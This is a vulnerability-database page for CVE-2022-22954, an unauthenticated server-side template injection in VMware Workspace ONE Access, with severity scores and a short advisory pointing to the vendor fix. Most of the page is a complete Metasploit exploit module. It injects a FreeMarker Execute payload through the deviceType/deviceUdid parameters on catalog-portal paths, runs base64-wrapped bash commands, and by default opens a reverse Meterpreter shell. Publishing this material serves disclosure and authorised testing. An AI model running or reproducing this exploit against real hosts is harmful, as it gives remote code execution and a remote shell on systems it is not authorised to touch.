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srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulnerability Research InstituteSRC-2022-0005
HistoryFeb 25, 2022 - 12:00 a.m.

SRC-2022-0005 : VMware Workspace ONE Access customError.ftl Server-side Template Injection Remote Code Execution Vulnerability

2022-02-2500:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute
srcincite.io
289
vmware
workspace one access
customerror.ftl
server-side template injection
remote code execution
vulnerability
identity manager
vrealize automation
vmware response

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.975

Percentile

100.0%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of VMware Workspace ONE Access. Authentication is not required to exploit this vulnerability. The specific flaw exists within the customError.ftl template.

The issue results from the usage of unsafe freemarker syntax, specifically a call to eval on untrusted input. An attacker can leverage this vulnerability to execute code in the context of the horizon user.

Affected Vendors:

VMWare

Affected Products:

Workspace ONE Access, Identity Manager, vRealize Automation

Vendor Response:

VMWare has issued an update to correct this vulnerability. More details can be found at: <https://www.vmware.com/security/advisories/VMSA-2022-0011.html&gt;

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access CVE-2022-22954',
        'Description' => %q{
          This module exploits CVE-2022-22954, an unauthenticated server-side
          template injection (SSTI) in VMware Workspace ONE Access, to execute
          shell commands as the "horizon" user.
        },
        'Author' => [
          'mr_me', # Discovery
          'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC
          'wvu' # Exploit and independent analysis
        ],
        'References' => [
          ['CVE', '2022-22954'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],
          ['URL', 'https://srcincite.io/advisories/src-2022-0005/'],
          ['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],
          ['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']
          # More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])

    deregister_options('VHOST')
  end

  def check
    ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")

    return CheckCode::Unknown unless ret
    return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)

    CheckCode::Vulnerable
  end

  def exploit
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    # Pass cmd to bash without word splitting
    bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"

    vprint_status("Executing command: #{bash_cmd}")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, ssti_uri),
      'vhost' => rand_text_alphanumeric(8..16),
      'vars_get' => {
        %w[code error].sample => rand_text_alphanumeric(8..16),
        # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html
        ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})
      }
    }, datastore['CmdExecTimeout'])

    return unless res
    return '' unless res.code == 400 && res.body.include?('auth.context.invalid')

    res.body
  end

  def ssti_uri
    %w[
      /catalog-portal/hub-ui
      /catalog-portal/hub-ui/byob
      /catalog-portal/ui
      /catalog-portal/ui/oauth/verify
    ].sample
  end

  def ssti_param
    %w[deviceType deviceUdid].sample
  end

end

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.975

Percentile

100.0%